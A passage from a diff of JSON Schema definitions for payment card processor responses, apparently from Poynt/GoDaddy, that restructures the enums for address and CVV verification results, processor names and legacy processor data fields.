"ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" }, - "description": "Provider verification fields." + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } + "type": "object", + "x-legacy": true }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "description": "Processor response for debit card", + "properties": { + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + 